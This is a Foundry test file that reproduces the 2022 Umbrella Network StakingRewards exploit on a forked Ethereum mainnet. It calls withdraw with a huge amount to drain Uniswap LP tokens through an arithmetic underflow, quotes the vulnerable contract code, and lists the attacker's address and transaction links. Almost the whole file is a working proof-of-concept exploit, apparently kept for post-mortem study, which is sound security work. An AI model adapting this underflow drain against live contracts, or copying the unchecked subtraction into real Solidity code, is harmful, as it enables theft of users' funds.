src/test/2022-03/Umbrella_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 700k
8// Attacker : 0x1751e3e1aaf1a3e7b973c889b7531f43fc59f7d0
9// AttackContract : 0x89767960b76b009416bc7ff4a4b79051eed0a9ee
10// StakingRewards contract: 0xB3FB1D01B07A706736Ca175f827e4F56021b85dE
11// Attack TX: https://etherscan.io/tx/0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7682660b4fa
12// Attack TX: https://bscscan.com/tx/0x784b68dc7d06ee181f3127d5eb5331850b5e690cc63dd099cd7b8dc863204bf6
13 
14interface IStakingRewards {
15    function withdraw(
16        uint256 amount
17    ) external;
18}
19 
20contract AttackContract is Test {
21    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
22    IStakingRewards constant StakingRewards = IStakingRewards(0xB3FB1D01B07A706736Ca175f827e4F56021b85dE);
23    IERC20 constant uniLP = IERC20(0xB1BbeEa2dA2905E6B0A30203aEf55c399C53D042);
24 
25    function setUp() public {
26        cheat.createSelectFork("mainnet", 14_421_983); // Fork mainnet at block 14421983
27    }
28 
29    function testExploit() public {
30        emit log_named_decimal_uint("Before exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18);
31 
32        StakingRewards.withdraw(8_792_873_290_680_252_648_282); //without putting any crypto, we can drain out the LP tokens in uniswap pool by underflow.
33 
34        /*
35        StakingRewards contract, vulnerable code snippet.
36    function _withdraw(uint256 amount, address user, address recipient) internal nonReentrant updateReward(user) {
37        require(amount != 0, "Cannot withdraw 0");
38 
39        // not using safe math, because there is no way to overflow if stake tokens not overflow
40        _totalSupply = _totalSupply - amount;
41        _balances[user] = _balances[user] - amount;   //<---- underflow here.
42        */
43        emit log_named_decimal_uint("After exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18);
44    }
45}